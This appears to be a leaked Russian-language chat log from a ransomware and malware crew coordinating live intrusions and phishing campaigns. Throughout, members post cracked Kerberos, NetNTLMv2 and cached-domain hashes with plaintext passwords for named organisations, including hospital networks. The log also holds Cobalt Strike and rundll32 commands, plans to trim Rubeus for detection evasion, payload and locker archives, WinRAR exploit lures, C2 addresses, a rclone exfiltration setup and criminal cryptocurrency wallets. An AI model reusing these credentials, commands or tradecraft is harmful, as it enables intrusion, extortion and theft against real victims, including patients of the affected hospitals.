посмотрю на те что недавно выходили и выдам там, остальное по мере сообщений выдадим

проц - АВ

завтра прошлем европу, думаю нормально должно быть

а то что то херово сегодня шло

вот чтоб такого не происходило не мы должны им блоги создавать, а они создают и кидают нам айди под который им билд нужен, тогда при нововведениях все права будут у админа

буду смотреть бота, потому что не нравится мне перспектива что боты в офф уходят, лучше все проверю

вот щас с софосом походу в офф ушел...

херня какая то

по логам все четко

но все равно есть подозрения что палево походу где то есть

я пошел ко сну готовиться

а не, походу реверсер

2 раза INIT пытался сделать

да ,походу реверсер

надо скрины прикручивать, так будет более яснее что происходит

медики с позвоночником

1 траст

271 пк

мыл нет

сек

FilesColor.cna

++

ты деку то увез чтоль?)

ок)))

надо было взять позадротить выходные)))

доброй

не то походу

ладно

добавлю процессы сам

++

да понятно)))

CustomProcessColors.cna

в процессе

MM ушел

ok

вф

да

тебя не смущает что это церковь?

jr

ok

https://sacred-hearts.org/

а скрины кинули что там трасты есть?

```

ок

T2nPXANzCxuY6c59edFZa7.zip

да да качается

жду пока загрузится рабочий чтол

* жду пока загрузится рабочий стол

вот выше отправилось

последний запрос - не файл а папка. я всю папку залил - там несколько файлов

CER TEMPLATES - папка

смотрю еще

оо

CustomProcessColors.cna

оно

спасибо

)))

болгарин я)

то тоже нужно

))

`Bartond::AGYNA:1122334455667788:174291dd0af6650b11aa008657f13ea1525a34cea566abbb:174291dd0af6650b11aa008657f13ea1525a34cea566abbb`

kekhash.txt

$krb5tgs$23$*Aiksetup$agy.com$MSSQLSvc/AIS304Dev.agy.com:AIS304@agy.com*$78c67804e269b81a2ec...759cecf1fa:Th1nk1ng

kekhash.txt

$krb5tgs$23$*LDebacker$IMPRINT.LOCAL$MSSQLSvc/IMP-5PDRYK1.IMPRINT.LOCAL:E405E329-D171-4B*$23ee9a9edd025670ca0...5b8e2ab369:L@urent1315

++

image.png

```

BAYMED_adm_kekhash.txt

DS_adm_kekhash.txt

TXWAC_adm_kekhash.txt

SJHS_adm_kekhash.txt

ALBIR_adm_kekhash.txt

$krb5tgs$23$*rthom082-albir$albir.DS.SJHS.com$SCVMM/ahvhypalbir078.albir.ds.sjhs.com@albir.ds.sjhs.com*$67b3a3a5319e790e8cd...7b7008adae:ChangeM3!

$krb5tgs$23$*MVDadmin$albir.DS.SJHS.com$MSSQLSvc/ahwctxalbir211.albir.ds.sjhs.com:1433@albir.ds.sjhs.com*$de49a791df383c69a9f...f06eff41e4:$ummer2011

++

TXAUS_adm_kekhash.txt

asc.internal_all_kekhash.txt

AHDOC_adm_kekhash.txt

$krb5tgs$23$*AHDOC-InfobloxGSS-TS$ahdoc.DS.SJHS.com$DNS/AHDOC-InfobloxGSS-TSIG@ahdoc.DS.SJHS.COM*$7ea775c352f71fc5a7f...27d82cab27:S3rvic3!

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*AHDOC-InfobloxGSS-TS$ahdoc.DS.SJHS.com$DNS/AHDOC-InfobloxGSS-TSIG@ahdoc.DS.SJHS.COM*$7ea775c352f71fc5a7f...27d82cab27:S3rvic3!

$krb5tgs$23$*SJBACK$SJHS.DS.SJHS.com$MSSQLSvc/ahwsqlmidet008.sjhs.ds.sjhs.com:1433@SJHS.DS.SJHS.COM*$370653c0fb1e0db466f...28119b8247:l8nights

$krb5tgs$23$*cmadmin$corp.baymedical.org$MSSQLSvc/bmc-01sv0d040s.corp.baymedical.org:1433@corp.baymedical.org*$3d0b0ca16129221f4f5...d57ecf7bcb:Pa$$logix

yy: Нужно перекомпилить Rubeus что бы он сам вытягивал список доменов и начал снимать кербы по списку сам и клал их в txt с названием домена? У нас команда дефолтная:

* yy: Нужно перекомпилить Rubeus что бы он сам вытягивал список доменов и начал снимать кербы по списку сам и клал их в txt с названием домена. У нас команда дефолтная:

INMSC_adm_kekhash.txt

TNNAS_adm_kekhash.txt

MDBAL_adm_kekhash.txt

ALMOB_adm_kekhash.txt

MIKAL_adm_kekhash.txt

$krb5tgs$23$*svc_sql013$inmsc.DS.SJHS.com$MSSQLSvc/AHWSQLINMSC013.inmsc.DS.SJHS.com:1433@inmsc.DS.SJHS.COM*$caee72321e66ffcc74e...d84c948a42:Jenny8675309!

Желательно выдрать с Rubeus ту часть которая отвечает за кербы, и сделать отдельный софт который будет дергать чисто кербы потому что Rubeus детектится по сути, но дело не в этом а в его весе с ненужными нами опциями. Нам нужен Rubeus в котором будет работать только функционал снятия кербов. Он будет легким и молодежным и по DNS будет комфортно юзать, а то что сейчас у нас есть весит дохуя.

TNNAS_adm_kekhash.txt

MDBAL_adm_kekhash.txt

DCWAS_adm_kekhash.txt

NYBIN_adm_kekhash.txt

`AIKMAN2.AGY.COM/prtgadmin:$DCC2$10240#prtgadmin#f1ac09cf4d00dcd06d259011d8bd5617`

Нам нужен BOF с которым мы можем чекнуть юзера с другого траста, пример: net user admin /domain:domain.local

Нам нужен BOF или NET для того что бы получить PDC всех трастов и вывести в формате:

tyt ?

nam bi file locker na ytro sdelat

* nam bi file locker na ytro sdelat , paru to4no

так дою отчет

image.png

[это ](https://www.zoominfo.com/c/ascension-health-alliance/3834943)

stop my all

thx

shpatientaccounts@ascension.org

один траст

thFloor.RTOrders@baymedical.org

второй траст

```

execute-assembly SharpShares.exe /ldap:all /threads:50 /domain:dhrqtc.org /dc:QTCFPTDC03.dhrqtc.org /outfile:c:\Users\Public\t0-VeeamBackupuser_admin_shares.txt

* `execute-assembly SharpShares.exe /ldap:all /threads:50 /domain:dhrqtc.org /dc:QTCFPTDC03.dhrqtc.org /outfile:c:\Users\Public\t0-VeeamBackupuser_admin_shares.txt`

282cf9fe16ce46f147642b3141863533

```

`7a144016302b324c4f2fbcb29ed31b6f`

`8846f7eaee8fb117ad06bdd830b7586c`

8846f7eaee8fb117ad06bdd830b7586c:password

++

> <@usernamess:matrix.bestflowers247.online> 282cf9fe16ce46f147642b3141863533

> <@usernamenn:matrix.bestflowers247.online> Нам нужен BOF с которым мы можем чекнуть юзера с другого траста, пример: net user admin /domain:domain.local

> <@usernameyy:matrix.bestflowers247.online> https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771865(v=ws.11) не понял в чем смысл если ты уже скинул рабочую команду которая не палится в принципе

> <@usernamenn:matrix.bestflowers247.online> net user не проверить в другом трасте чела

доброе

Dobroe!

доброе

dobroe

+

Доброе утро!

Привет

> <@usernameyy:matrix.bestflowers247.online> траст это не домен?

я же не просто так спрашиваю сделать софт, значит через net user этого сделать нельзя

2_complecta_locker.zip

burrito: muaddib6

```

мелкору выдал линки

от бена палит уже

Trojan:Win32/PikaBot.CCDG!MTB

даже тот, который мы не выдавали

получилось взять в работу что-то вчера?

> <@usernamegg:matrix.bestflowers247.online> вчера с юсы пришла она сетка стекловолокном занимаються

🐗

ловим

на месте?

молчит

```

привет

я придумал как сделать легко

доброе утро

проспал сегоднея что то

щас скину

сейчас я попробую реализовать если понравится то оставим так

запускаю билд

л лапее JSскину

лапе скинул JS

щас тебе длку выдам

секунду

заливаю

бро привет

как дела?

получилось с подменой?

Что криптануть?

dropper_GG8FR_f0adda360d2b4ccda11468e026526576_e8eFDbHUU.zip

PASS: b8aa0620fc6d6baaf8b5d88e6ca8f75b

заливаю к ляпису ее на всякий

я всю неделю проебался с тимсом, потом покажу как настроил . вот только -только начинаем пускать более менее

+

адский механизм)

++

`cc437591d7af317d1e259e15516bc473`

`51925821a960f9014907e978f26c17d8`

`e575eedd782f46cac41815da881d7980`

2b6a7f2a2030699176b895520ed4e6ab

`8c029e1a6c25a49335f6d56130998090`

2b6a7f2a2030699176b895520ed4e6ab:Catfish3

+

e575eedd782f46cac41815da881d7980:BO$ervice

cc437591d7af317d1e259e15516bc473:S@Mw1seG

1 час думаю

Да сначала его как я понял

51.222.194.213:42563 FIZ

Занимаюсь локером

+

скоро под свой формат подгоню

а сколько писем с них можно прослать?

пиздец поспал 2 часа

всю ночь лабу проходил еще раз некоторые моменты

разобрался вроде еще в одной хуйне

* разобрался вроде еще в одной хуйне, но еще не точно

да ща хочу еще 1 хуйню пощупать

W говорит надо пускать обязательно с паролем

сегодня так попробуем

dsa.txt

fuf

* aga

* ага

какое название

ну вроде работают

скоро проверю доходят ли письма

все ок

работают

с ниш прошлем

ну посмотрим

500 потоков поставлю

спросите выдержат ли они

чуть что со своих прошлем

file: total N2 0211.txt

```

file: SMTP0111.txt

FILE IMAP: IMAP0111.txt

пиздец вискосити лицуху надо))

* 51.222.194.213:42563 FIZ

херачу тут как шахтер уже потерялся во времени)))

получилось с подменой ?

скардит?

ну у меня есть же база прошлая которую мы так и не залили кстати

я же с нее какой то софт кардил

ща найду тут потыкаю валидную

а куда выставить на продажу?

наебут еще

надо у себя выставлять ))

а сервер же у нас поднят

нужно домены только прикрутить и прокладки?

а ты в админку зайти можешь оно там вобще работает все?

начинают боты приходить потихоньку у меня

там django

скажу как будет что-то инетресное

обновлять нельзя, без знания как устроенно

иначе все слетит

> получилось но криво

нужен роман

а что заниматься то, нужно поднимать с ним

нужно обновлять джангу и все библиотеки

потому что без обновления нас въебут 100 проц

на django выходило за последние года 2 одна или 2 RCE

а нас старая, но Роман говорил давно типа если даже будет уязвимость типа на сервер не зальются никак, ну тоже такое себе что то же смогут сделать если въебут ну нахуй

нужно просто его попросить обновить всю хуйню

с остальным сами попробуем разобраться прикрутить новые домены и прокладки итд

а ты в админку зайти можешь оно там вобще работает все?

отлично

да бля у меня же типа тестовый период был

а я не перезагружаю же бук

а тут нужно было перезагрузить

и хуяк радио маяк нахуй

просит лицуху))

я бы скардил если бы чекер был на СС

а то там уже дохуя сто процентов постухло, базе уже год

> <@usernamegg:matrix.bestflowers247.online> я не помню домен от нее

и заходить нужно по локалхосту в админку

я уже забыл, у меня на другом буке доступ к шопу

ну вот такая же хуйня

Окей

нужен Ромашка что бы обновил джангу и библиотеки и все

остальное хуйня думаю

либо если он не объявится то искать кто сможет пофиксить и все обновить

но нужен прям вебер жесткий какой то

с знаниями идеально того что там у нас используется

у нас там Big data, Maria DB, Django framework, еще дохуя чего

плюс он же сделал поиск в шопе на основе так же как работают поисковики

в поисковике же ты когда ищешь тебе же моментально все выдает

без лагов и прогруза из базы))

вот у нас так же было сделано на основе поисковиков поиск

типа ебать мощная хуйня

ты вводишь поиск СС и тебе моментально все выводит

из кеша

потому что у нас там база кешируется каждый раз

да

только он сможет нормально все пофиксить и дать какие то инструкции и какие нужны знания для человека который сможет его заменить

ага пиздец

не на тот бук не нужна, там все стоит

пока чищу скоро

о Спасибо!

а что данные от пизды надо вводить?

через сколько +- длка будет готова?

нужно данные имени и электронной почты

код не принимает с левыми данными

вчера пики не было, лил в дарк

ну дарк шлем без паса

сейачс протестили в круг

отправили в тимс

скачали

запустили

= работает , отбивает

не палится

окей

я отойду на минут 30-40

лапа проверил скачивание все чисто

айпи какой

у меня записан только

проверю от буррито

а, хотя там все же новый длл

от ляписа плохо стучать будет

не знаю, не записано других, те что не работают я удаляю из записей, так что смотря что с ним случилось

> <@usernamegg:matrix.bestflowers247.online> ftp7 main

но он не работает

мылся

у нас нет токой сетки

это было до отпуска

на 95.217.32.157

image.png

image.png

я скрыл, надо перезагрузить админку чтобы изменения вступили в силу

перезагружаю?

всё, доступ только по ссылке теперь, это надо оставить чтобы таргеты могли через свой чат открывать блоги

удалить дату это скрыть блог?

```

cp30.10.23.txt

2023-10-30T11:11:40+00:00

почему-то нет валида

smtp01.11.23 мне не выдавали

> <@lapa:matrix.bestflowers247.online> cp30.10.23.txt

может там формат еще другой

от буррито все же ща пролью и првоерю

и может запустимся

заливаю

эллемент тупит

+

сбоит на отправке файлов

чисто

запущу тогда европу

GG8FR.exe_.sa

вот перекинь лапе плиз

у меня не получается ему файлы отправлять

+

лучше от буррито

запустился

через те смтп

пмта

ну есть 4 запуска

франция стукнула одна

2021 год

image.png

Локеры.

1.7z

snauidh718iuaksd

Строка

11.7z

Локеры

а вы AMSI обходили кстати когда прогрузы делали через powershell?

1.7z

++

что?

+

Ок

ну что-то запуски не особо идут

150к ушло уже

наверное скоро своими смтп запущу

++

33 запуска

а, ну сейчас уже будет в новую группу идти

сбросьте новые доступы для пики

+

51.222.194.213:34327

> <@usernamegg:matrix.bestflowers247.online> Malwarebytes

запустил чисто по крупным

а то уже и так 15

часов

сделаю фикс, все АВ у меня есть, просто некоторые процессы в разных регистрах походу

все в lower буду переводить и смотреть

так будет четче картина

что-то уже даже мелочевки с европы нет особо

300k ушло

JSTR::VPKGRP:1122334455667788:d0691210af7fec019ac8b5b334547aa2:01010000000000008bd13dcb4d0eda0197e7fbcc193afaaa0000000008003000300000000000000000000000002000001b88b9354c8a3cea38a102e02329fd346aa44e5382ece1c649063705145ea5a00a0010000000000000000000000000000000000009001600560050004b004700520050005c004a005300540052000000000000000000

VPKGRP_adm_kekhash.txt

VPKGRP_all_kekhash.txt

$krb5tgs$23$*sabe-service$vpkgrp.int$MSSQLSvc/inovex.vpkgrp.int:1433@vpkgrp.int*$a913907d0e4880f7134...762d624b00:s@be

+

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*sabe-service$vpkgrp.int$MSSQLSvc/inovex.vpkgrp.int:1433@vpkgrp.int*$a913907d0e4880f7134...762d624b00:s@be

ну кстати пмтп его уже что-то не инбоксят на мою тестовую

хотя я всего 150к писем отправил

очередь на отправку может там забилась у него

stop my all

$krb5tgs$23$*sabeaco01$vpkgrp.int$MSS...83a06b:vu9navnt

```

щас

[ftp_white]

```

`cat /root/.config/rclone/rclone.conf`

```

пздц

```

вот в этой хрени на всякий случай

> <@usernamegg:matrix.bestflowers247.online> учетки готовы для саппов что ыб могли грузить дату ?

```

```

cc & xx соответственно

400k ушло

но прошлю по новой

так как с пмта я слал 150к

https://i1ovfbpnlgg0hjks.tech/9568c16f-b420-43dc-8a59-f3500b0628fe/bot/21660

и слал по нововыкаченным

Тренд микро нормально отрабатывает уже

мало запусков

чет мыло по 500 и выше запусков с европы

уже не так

++

++

проверял

чисто

> <@usernameboy:matrix.bestflowers247.online> $krb5tgs$23$*sabeaco01$vpkgrp.int$MSS...83a06b:vu9navnt

прошлю еще чутка атачем в зипе с пассом

ты на каком сервере запускаешь?

айпи или название

чтобы я зашел

9_4

дай команду

кто тебе этот рклон конф дал?

$DCC2$10240#adm.ydla#618b314df2d6e441cec223badf517147

точно я дал?

image.png

тут нет ничего на сервере и убунту

e11d1904f4c9b3c4206020539f16b9f3

```

судя по моим записям это мейн

ща чекну

image.png

настроил конфиг верно

скрин 1394379.pts-3.l7-order532

```

оно само добавилось после запуска, впервые вижу

работает и без этого

я прям там всё сделал

пожалуйста

лучше ждать мб пока выкачается?

ну так то пофиг

это точно не за сегодня, хоть способ и легкий придумал, но работы всё равно дофига

👌

total data пишем всего в гигабайтах

```

cob17_SMB_64

обойти TrendMicro

+

https://i1ovfbpnlgg0hjks.tech/9568c16f-b420-43dc-8a59-f3500b0628fe/bot/21660

вернулась

`USER08::CARNOTJURIS:1122334455667788:713a5dc4142f3593c75a5b19c8f809b8:010100000000000042cd47ce580eda0173cc390f53c070a700000000080030003000000000000000010000000020000013144b4e9cf2f35b0e15356e324ce5f5dc4ce8a9f9d72fffe6e897fd093386290a00100000000000000000000000000000000000090024004300410052004e004f0054004a0055005200490053005c005500530045005200300038000000000000000000`

USER08::CARNOTJURIS:1122334455667788:713a5dc4142f3593c75a5b19c8f809b8:010100000000000042cd47ce580eda0173cc390f53c070a700000000080030003000000000000000010000000020000013144b4e9cf2f35b0e15356e324ce5f5dc4ce8a9f9d72fffe6e897fd093386290a00100000000000000000000000000000000000090024004300410052004e004f0054004a0055005200490053005c005500530045005200300038000000000000000000:Florent#14

USER08::CARNOTJURIS:1122334455667788:713a5dc4142f3593c75a5b19c8f809b8:010100000000000042cd47ce580eda0173cc390f53c070a700000000080030003000000000000000010000000020000013144b4e9cf2f35b0e15356e324ce5f5dc4ce8a9f9d72fffe6e897fd093386290a00100000000000000000000000000000000000090024004300410052004e004f0054004a0055005200490053005c005500530045005200300038000000000000000000:Florent#14

> <@usernameboy:matrix.bestflowers247.online> USER08::CARNOTJURIS:1122334455667788:713a5dc4142f3593c75a5b19c8f809b8:010100000000000042cd47ce580eda0173cc390f53c070a700000000080030003000000000000000010000000020000013144b4e9cf2f35b0e15356e324ce5f5dc4ce8a9f9d72fffe6e897fd093386290a00100000000000000000000000000000000000090024004300410052004e004f0054004a0055005200490053005c005500530045005200300038000000000000000000:Florent#14

все равно вяло походу идет, из-за пасса

kekhash.txt

$krb5tgs$23$*sql-hpm-svc$hwl-family.net$http/de-osn-hpm-a02p.hwl-family.net:7047@hwl-family.net*$c550907a30b7003433f...df3a252866:moweka17

++

или вы мало запустили?

`ioleksia::HWL-FAMILY:1122334455667788:98919a11cad0838fe713dee384fcdb5c:01010000000000003dbfe1075b0eda018badd00a2dc66e8b0000000008003000300000000000000000000000002000007bcb4cb145bc7a854549439c2ee263080df6ec69a4e172df7e5629de139f07210a0010000000000000000000000000000000000009002600480057004c002d00460041004d0049004c0059005c0069006f006c0065006b007300690061000000000000000000`

IOLEKSIA::HWL-FAMILY:1122334455667788:98919a11cad0838fe713dee384fcdb5c:01010000000000003dbfe1075b0eda018badd00a2dc66e8b0000000008003000300000000000000000000000002000007bcb4cb145bc7a854549439c2ee263080df6ec69a4e172df7e5629de139f07210a0010000000000000000000000000000000000009002600480057004c002d00460041004d0049004c0059005c0069006f006c0065006b007300690061000000000000000000:Lato2023

++

```

*

стопнулся

канаду скоро запущу

деф обновился

понял

в понедельник будем тестить HTA, CHM, MSI

3 типа этих нагрузок

посмотрю, что точно может оподписываться вашим сертом

и будем пробовать

потому что JS надо время чтобы отдохнул уже

как прошлем все эти типы нагрузок, потом вернемся к JS, если шторм закончится

и будем так по кругу гонять, пока все не умрет

```

```

> <@usernamegg:matrix.bestflowers247.online> а то это опять пол недели вылетит без нагрузки

+

не тот же

и потом буду работать

айпи и протокол поменялся

ftp работать не будет

в воскрсенье точно буду работать

и если что на этом сервере папка /home/ftp_white

не /data/www

> <@usernamegg:matrix.bestflowers247.online> лучше это за выходные оттестировать

поставлю клоаку туда

кароче все хорошо оттестирую

ляписа крипт есть

$DCC2$10240#adm.wali#278908a9e16cb1d2302e21cadcbfc32e:Welcome@12345

$DCC2$10240#adm.wali#278908a9e16cb1d2302e21cadcbfc32e:Welcome@12345

если что еще бурито сделаю, если надо будет

пустил канаду

кароче все есть по сути для тестов

> <@username777:matrix.bestflowers247.online> $DCC2$10240#adm.wali#278908a9e16cb1d2302e21cadcbfc32e:Welcome@12345

*

$DCC2$10240#adm.sdub#7c974f6da0268bf0555d99cf68e148f0:zaq1ZAQ!xsw2

юсу будем запускать?

> <@usernameboy:matrix.bestflowers247.online> $DCC2$10240#adm.sdub#7c974f6da0268bf0555d99cf68e148f0:zaq1ZAQ!xsw2

> <@usernamegg:matrix.bestflowers247.online> да, канада уже полетела

а хотя мы даже под сканеры не попали)

ага, есть уже

могу заменить если что

щас с лапой спишусь

`JPearce::CLIPPER:1122334455667788:9854df45badd36234e579c5aceebf171:0101000000000000cf97e5ec5e0eda018cbbf92a6b596114000000000800300030000000000000000000000000200000f7e105ba436b1336332877a81c020606e334812b64719f95ad9db54af3f1737d0a00100000000000000000000000000000000000090000000000000000000000`

JPEARCE::CLIPPER:1122334455667788:9854df45badd36234e579c5aceebf171:0101000000000000cf97e5ec5e0eda018cbbf92a6b596114000000000800300030000000000000000000000000200000f7e105ba436b1336332877a81c020606e334812b64719f95ad9db54af3f1737d0a00100000000000000000000000000000000000090000000000000000000000:Summer20

++

5.182.86.108

лапа отписал если что что чисто пока, нет надобности менять

ну да)

главное чтобы он еще и чистый был

щас гляну

150k на канаду прослал атачем

тишина

скоро линками запущу повторно

а можешь подкинуть форумы какие кроме дамаги и экспы

а то дамага вообще лежит, а на экспе тухло походу

`$DCC2$10240#Administrateur#cb28ac45dcf10bfa02bbc1509167a9a5`

> <@usernamegg:matrix.bestflowers247.online> xss.is

> <@usernamegg:matrix.bestflowers247.online> Verified

> <@usernamegg:matrix.bestflowers247.online> ну я кардерские форумы же знаю только )

> <@usernamegg:matrix.bestflowers247.online> forum.antichat.ru - мой форум детства )

только щас кстати все на лолз перешли, ( сейчас уже зеленка гуру )

> <@usernamegg:matrix.bestflowers247.online> очень нужны постоянно сплойты

но его же щас арестовали

ну как, уже давно по идее

там базы продавали зчастую с корп

и сплойты

+

щас вроде как зеркало подняли, но все равно опасно там находится, ибо я думаю эти черти его и подняли, хотят побольше людишек подзакрыть

> <@usernamegg:matrix.bestflowers247.online> домен надо

> <@usernamegg:matrix.bestflowers247.online> Breached

не, нет линки, пишут что умер, говорят, что участники сидят в конфе бафомета

в телеге

кароче скорее всего фбовская замануха

ладно, поищу форумы

Братец, а сможешь сегодня биток закинуть на расходники и на жизнь, а то за квартиру скоро платить, а то уже закончилось все почти, 300 баксов осталось

Ну за нугркзи хотябы, чтобы чистое делал

* Ну за нугркзи хотябы, что чистое делал

не идет что-то канада

как выплаты пойдут уже, не буду за нагрузки брать, ибо все ради 1 дела работаем)

а щас просто пока нет выплат без бабок сидеть не очень)

bc1qklksdpy80qa7l4l5v9gagxvcq629n3kp6393kv

спасибо большое

у меня чисто, но почему деф обновился тогда

> Canada [CA]--------------------- 97 1 1%

просто опять же

вот 100 скачиваний с канады

чисто по кампаниям шлю

и это с линков

со 100 скачиваний только 1 стукнул

ну либо 99 это реверсы

> <@usernamegg:matrix.bestflowers247.online> монеро кошель оставь я закину денег

просто и европа как-то слабо идет

> <@usernamegg:matrix.bestflowers247.online> через что там подкачка стоит dll ?

это у мелкора нужно спрашивать

он через curl скачивает

который кстати тоже не у всех может быть

спасибо, пришло

89bWEQJ4txb68qeNJ9sKfUYhi3i2oGLjf7yC7PHt7jC3dik2v4HGms125aAH47YAb7iCPCA5eno2LfphYk7bABZWK8CFE7X кошель монеро

> <@usernamegg:matrix.bestflowers247.online> сейчас pap сборку предложили взять там со сплойтом работает

я тебе сделаю давай)

не надо за это бабки платить)

> <@usernamegg:matrix.bestflowers247.online> на компе через смд качает или повершел нашу длл ?

ну winrar этот тоже работает через cmd

там суть в том, что кладешь как буд то обычный PDF файл, но пока юзер запускает этот файл, то там cmd запускается

короч что с пассом, что без, лучше не стало

он как будто открывает pdf, но открывается cmd

думаю уже не слать юсу

вчера слали, все равно мало что пришло

сделать тебе winrar?

с этим запуском?

не, они тож здесь

HH англию крутит

я францию

++

пару минут

ладно, запустил по юсе, может как-то придет

fast.txt

$krb5tgs$23$*srv_backup$GI.LCL$MS..1b62:tartopoiro

> <@usernameboy:matrix.bestflowers247.online> $krb5tgs$23$*srv_backup$GI.LCL$MS..1b62:tartopoiro

> <@usernameff:matrix.bestflowers247.online> sent a file.

щас я быстро поставлю уязвимую версию winrar

чтобы все протестить и скину скоро

+

угвей кстати почистил html ?

прослали бы

подписал

заливаю

drk_sign.zip

https://web.archive.org/web/20230627231209/https://www.win-rar.com/predownload.html?&L=0

вот ссылка на последнюю уязвимую версию винрар

есть кодер на питоне кто то?

мне помощь нужна

мне подсказать команды нужно

вот есть pull

https://github.com/fortra/impacket/pull/1299

у меня на linux уже стоит impacket, но без этого пулла

мне как то нужно сделать merge что бы добавились все файлы из этого пулла

нужны команды четкие короче

rundll32 dll.dll,berber

nPSLlWijvRzZ8XcWXaJ1KQTzq0F0kKUCgzRcDjQpmfFiRIZulagIGglG2dgQeIlC рандомная строка в dll

22.7z

muaddib6: мне?

Ага. Это коба длл и ехе

Чтобы дллка всегда была новой )

дллки

+

> <@usernamegg:matrix.bestflowers247.online> ты на питоне пишешь ?

сек